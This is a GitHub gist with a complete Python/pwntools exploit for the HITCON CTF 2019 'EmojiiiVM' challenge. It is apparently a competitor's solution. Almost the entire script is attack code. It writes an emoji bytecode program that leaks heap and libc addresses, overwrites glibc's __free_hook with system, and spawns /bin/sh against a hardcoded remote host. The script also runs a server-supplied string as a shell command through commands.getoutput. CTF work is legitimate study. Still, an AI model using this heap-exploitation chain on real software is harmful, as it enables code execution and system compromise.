Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created October 19, 2019 06:48
Show Gist options
  • Save hama7230/96e41317208c98591bc66b3ff1a3cd27 to your computer and use it in GitHub Desktop.
Save hama7230/96e41317208c98591bc66b3ff1a3cd27 to your computer and use it in GitHub Desktop.
HITCON CTF 2019 Quals EmojiiiVM
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
# context(terminal=['tmux', 'new-window']) # open new window
# libc = ELF('')
elf = ELF('./emojivm')
context(os='linux', arch=elf.arch)
context(log_level='debug') # output verbose log
RHOST = "3.115.176.164"
RPORT = 30262
LHOST = "127.0.0.1"
LPORT = 30262
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
# exploit
log.info('Pwning')
asm_opcodes = {'NOP': 0x1F233, 'ADD': 0x2795, 'SUB': 0x2796, 'MUL': 0x274C, 'MOD': 0x2753, 'XOR': 0x274E, 'AND': 0x1F46B, 'CMP_LT': 0x1F480, 'CMP_EQ': 0x1F4AF, 'JMP': 0x1F680, 'JZ': 0x1F236, 'JNZ': 0x1F21A, 'PUSH': 0x23EC, 'POP': 0x1F51D, 'OP_15': 0x1F4E4, 'OP_16': 0x1F4E5, 'OP_17': 0x1F195, 'OP_18': 0x1F193, 'READ': 0x1F4C4, 'PRINT': 0x1F4DD, 'DUMP_STACK': 0x1F521, 'PUTC': 0x1F522, 'EXIT': 0x1F6D1}
asm_args = {0:0x1F600, 1:0x1F601, 2:0x1F602, 3:0x1F923, 4:0x1F61C, 5:0x1F604, 6:0x1F605, 7:0x1F606, 8:0x1F609, 9:0x1F60A, 10:0x1F60D}
def add():
opcode = '\\U{0:08x}'.format(asm_opcodes['ADD']).decode('unicode-escape')
return opcode
def sub():
opcode = '\\U{0:08x}'.format(asm_opcodes['SUB']).decode('unicode-escape')
return opcode
def pop():
opcode = '\\U{0:08x}'.format(asm_opcodes['POP']).decode('unicode-escape')
return opcode
def push(val):
opcode = '\\U{0:08x}'.format(asm_opcodes['PUSH']).decode('unicode-escape')
oprand = '\\U{0:08x}'.format(asm_args[val]).decode('unicode-escape')
return opcode + oprand
def op_get():
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_15']).decode('unicode-escape')
return opcode
def op_put():
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_16']).decode('unicode-escape')
return opcode
def op_malloc():
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_17']).decode('unicode-escape')
return opcode
def op_free():
opcode = '\\U{0:08x}'.format(asm_opcodes['OP_18']).decode('unicode-escape')
return opcode
def op_read():
opcode = '\\U{0:08x}'.format(asm_opcodes['READ']).decode('unicode-escape')
return opcode
def op_print():
opcode = '\\U{0:08x}'.format(asm_opcodes['PRINT']).decode('unicode-escape')
return opcode
'''
def op_putc():
opcode = '\\U{0:08x}'.format(asm_opcodes['PUTC']).decode('unicode-escape')
return opcode
'''
# sp = 0
shellcode = (push(7) + push(8) + add() + op_malloc())*7
shellcode += (push(7) + op_malloc()) * 1
shellcode += (push(10) * 3 ) + add()*3 + push(2) + add()
shellcode += push(0) + push(7) + op_put()
# ptr+0x20
shellcode += add()*3 + (push(10) * 3) + add()*3 + push(2) + add()
# print() for leaking heap address
shellcode += push(7) + op_print()
# read(libc, 0x20)
shellcode += push(7) + op_read()
# print() for leaking libc address offset 0x3ebcb0
shellcode += push(7) + op_print()
# read(libc, 0x20) for modify
shellcode += push(7) + op_read()
# read(heap[6], 0xf) p64(0x20) + p64(libc_base + 0x3ed8e8)
shellcode += push(6) + op_read()
# ptr+0x20
shellcode += pop() + (push(10) * 3) + add()*3 + push(2) + add()
# read(heap[0]) for '/bin/sh'
shellcode += push(0) + op_read()
# overwrite free_hook
shellcode += push(6) + op_read()
# trigger
shellcode += push(0) + op_free()
f = open('./pwn.emv', 'w') #.write(shellcode)
f.write(shellcode.encode('utf-8'))
f.close()
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
import commands
conn.recvuntil(' token:\n')
a = conn.recvline()[:-1]
print repr(a)
b = commands.getoutput(a)
print repr(b)
conn.sendline(b)
elif opt == 'd':
gdbscript = """
c
"""
conn = gdb.debug(['./emojivm', './pwn.emv'], gdbscript=gdbscript)
else:
conn = process(['./emojivm', './pwn.emv'])
# conn = process(['./emojivm'])
# conn = process(['./ramen'], env={'LD_PRELOAD': ''})
if opt == 'a': gdb.attach(conn)
conn.sendlineafter('Your emoji file size: ( MAX: 1000 bytes )', str(len(shellcode.encode('utf-8'))))
conn.send(shellcode.encode('utf-8'))
conn.recvline()
heap_base = u64(conn.recv(6) + '\x00'*2) - 0x19b40
dbg('heap_base')
conn.send('x'*0x20)
conn.recvuntil('x'*0x20)
libc_base = u64(conn.recv(6) + '\x00'*2) - 0x3ebcb0
dbg('libc_base')
payload = flat(heap_base + 0x19b40, heap_base + 0x15a40, heap_base + 0x15a40, heap_base + 0x15a40)
conn.send(payload)
payload = flat(0x10, libc_base + 0x3ed8e8)
conn.send(payload[:0xf])
conn.send('/bin/sh'.ljust(0xf, '\x00'))
conn.sendline(p64(libc_base + 0x4f440))
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment